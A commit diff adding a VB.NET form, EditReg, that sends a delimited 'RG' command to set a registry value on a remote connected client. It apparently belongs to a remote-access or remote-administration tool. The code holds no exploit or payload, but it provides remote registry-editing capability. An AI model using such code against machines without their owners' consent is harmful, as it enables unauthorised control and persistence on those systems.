initial commit

2026-08-27 11:22:34 -06:00
commit 5983c713b1
2676 changed files with 529190 additions and 0 deletions
@@ -0,0 +1,36 @@
+Imports Microsoft.Win32
+Imports System.Threading
+Public Class EditReg
+
+    Public C As Client
+    Public Path As String
+    Public Function Typ(ByVal t As String) As Integer
+        Dim num As Integer
+        Dim str As String = t.ToLower
+        If (str = RegistryValueKind.Binary.ToString.ToLower) Then
+            Return 3
+        End If
+        If (str = RegistryValueKind.DWord.ToString.ToLower) Then
+            Return 4
+        End If
+        If (str = RegistryValueKind.ExpandString.ToString.ToLower) Then
+            Return 2
+        End If
+        If (str = RegistryValueKind.MultiString.ToString.ToLower) Then
+            Return 7
+        End If
+        If (str = RegistryValueKind.QWord.ToString.ToLower) Then
+            Return 11
+        End If
+        If (str = RegistryValueKind.String.ToString.ToLower) Then
+            Return 1
+        End If
+        Return num
+    End Function
+
+    Private Sub Guna2GradientButton1_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton1.Click
+        Dim B As Byte() = SB("RG" & SettingsHelper.SPL & "!" & SettingsHelper.SPL & Path & SettingsHelper.SPL & Guna2TextBox1.Text & SettingsHelper.SPL & Guna2TextBox3.Text & SettingsHelper.SPL & Typ(Guna2ComboBox1.Text))
+        ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
+        Close()
+    End Sub
+End Class